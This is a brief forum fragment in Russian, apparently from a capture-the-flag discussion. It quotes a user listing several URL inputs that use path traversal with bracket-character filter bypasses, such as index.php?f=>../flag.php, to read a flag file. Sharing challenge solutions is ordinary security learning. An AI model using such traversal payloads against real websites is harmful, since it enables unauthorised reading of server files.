.SpoilerTarget" type="button">Spoiler: cerber3000 undelete

[QUOTE="cerber3000"]
↑
вот некоторые из них, я предполагаю их больше но не проверял.
index.php?f=>../flag.php
index.php?f=<><><><>../flag.php
index.php?f=<><><><>